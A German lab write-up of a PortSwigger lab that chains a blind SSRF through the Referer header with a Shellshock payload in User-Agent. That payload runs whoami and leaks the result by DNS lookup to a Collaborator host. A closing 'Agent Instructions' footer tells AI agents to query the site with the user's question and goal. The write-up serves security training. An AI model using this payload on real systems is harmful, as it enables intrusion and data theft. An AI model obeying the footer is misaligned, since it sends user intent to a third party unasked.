> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# Blinde SSRF über Shellshock ausgenutzt

Notizen zu blinder SSRF über Shellshock ausgenutzt für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Blindes SSRF mit Shellshock-Ausnutzung

Diese Website verwendet ein Analysemodul, das die in der Header-Zeile angegebene URL wiederherstellt **Referer** jedes Mal, wenn eine Produktseite aufgerufen wird. / Um das Lab zu lösen, müssen Sie diese Funktion umleiten, um ein blindes **SSRF** an einen internen Server, der sich im Bereich befindet **192.168.0.X** auf dem Port **8080**. / Bei einem blinden Angriff muss eine Nutzlast **Shellshock** eingeschleust werden, um den Benutzernamen des Systems zu exfiltrieren.

#### Erste Beobachtung

Beim Aufrufen einer Produktseite sendet die Website tatsächlich eine Anfrage basierend auf dem Header **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

Dies bestätigt, dass die Anwendung automatisch die in diesem Header angegebene URL kontaktiert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8648879c8e84c14fbbb5a342cf24d41fce747be4%2Fimage%20(332).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ausnutzung über blindes SSRF

Das Ziel ist, die Anwendung dazu zu zwingen, einen internen Host zu kontaktieren:

```
Referer: http://192.168.X:8080
```

Da der interne Dienst anfällig ist für **Shellshock**, wird eine Nutzlast in den **User-Agent** Header eingeschleust, der vom Zielserver interpretiert wird.

Die Nutzlast führt einen Befehl aus, um den `whoami` Ergebnis über eine DNS-Anfrage zu exfiltrieren, die an **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb770c982950777b118252fe9c02390f03bee28c%2Fimage%20(333).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ergebnis

Auf der Collaborator-Seite erscheint eine DNS-Anfrage, die den Benutzernamen des Systems enthält. / In diesem Fall ist der zurückgegebene Benutzer:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f114b9d5c1349769f3c42e5b5742a81cffa4d64%2Fimage%20(334).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
